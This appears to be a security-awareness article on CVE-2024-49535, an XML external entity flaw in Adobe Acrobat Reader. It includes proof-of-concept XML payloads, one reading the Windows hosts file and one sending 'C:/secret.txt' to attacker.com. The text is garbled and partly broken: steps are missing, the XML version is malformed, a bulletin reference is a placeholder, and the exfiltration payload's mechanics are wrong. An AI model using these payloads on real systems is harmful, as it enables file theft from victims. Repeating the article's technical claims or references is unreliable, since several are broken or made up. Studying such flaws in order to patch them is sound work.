Adobe Acrobat Reader has been hit by a significant security bug—CVE-2024-49535—that could allow attackers to steal sensitive data from your computer. If you use Acrobat Reader versions 24.005.20307, 24.001.30213, 24.001.30193, 20.005.30730, 20.005.30710, or anything older, you should pay close attention.
In this article, we'll break down what this vulnerability is, how it works, and show a step-by-step example of the exploit. We'll use simple language so no one gets lost.
What is CVE-2024-49535?
This vulnerability is known as an Improper Restriction of XML External Entity Reference, or "XXE" for short. An attacker can slip specially crafted XML data into Acrobat Reader, which then reads data outside of what it's supposed to access. It could leak files like Windows passwords, sensitive documents, or even internal network resources, all without the user realizing.
The scary part is, Acrobat Reader was supposed to be running in a "sandbox" to stop things like this from happening, but this bug lets attackers peek outside those walls.
20.005.30710
If you're not sure, check your version via Help → About Adobe Acrobat Reader.
Victim opens this XML in Acrobat Reader (sometimes via a PDF that triggers the XML).
3. Acrobat Reader, due to the bug, tries to fetch whatever file or data the attacker points to in the XML, and can send it to an attacker-controlled website or email.
Note: The victim must open the malicious XML (or a PDF that triggers XML parsing). Attackers may spread these via email attachments, phishing links, or malicious downloads.
Proof of Concept Exploit
Here’s a demo on how an attacker might exploit this bug.
Step 1: Create Malicious XML
<?xml version="1."?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<user>
<name>&xxe;</name>
</user>
What this does: The XML asks the program to insert the contents of the Windows "hosts" file wherever &xxe; appears.
Step 2: Create a PDF or Script That Uses the XML
In some cases, the exploit could be triggered not just by opening the XML file directly, but by embedding it in a PDF or as part of a PDF workflow that Acrobat Reader uses.
But often, just importing or processing the XML within Acrobat (for example, using Acrobat forms or certain import plugins) is enough.
Step 3: Data is Leaked
If Acrobat reads this XML, it will replace &xxe; with the contents of the system file. If the attacker can see or receive this data (like through an upload or form), it's game over.
A more advanced attacker could set up a remote server to receive stolen files
<?xml version="1."?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/leak?data=file:///C:/secret.txt">;
]>
<foo>&xxe;</foo>
When processed, Acrobat Reader would try to connect to attacker.com with the contents of C:/secret.txt.
How to Protect Yourself
- Update NOW: Get the latest version of Acrobat Reader from the official Adobe Security Updates page.
Original References
- Adobe Security Bulletin APSB24-XX (example link, replace with actual)
- MITRE CVE-2024-49535 Entry
- OWASP XXE Introduction_Processing)
Final Thoughts
While opening PDFs or filling out forms in Acrobat Reader seems safe, CVE-2024-49535 proves that attackers are always looking for small cracks in big programs. If you use any of the affected versions, patch your software immediately.
Stay safe, and always be careful with files you open—especially if they come from strangers.
*This article is exclusive and written for security awareness. Do not attempt exploits on systems you do not own or have permission to test.*
Timeline
Published on: 12/10/2024 20:15:18 UTC
Last modified on: 01/23/2025 18:36:07 UTC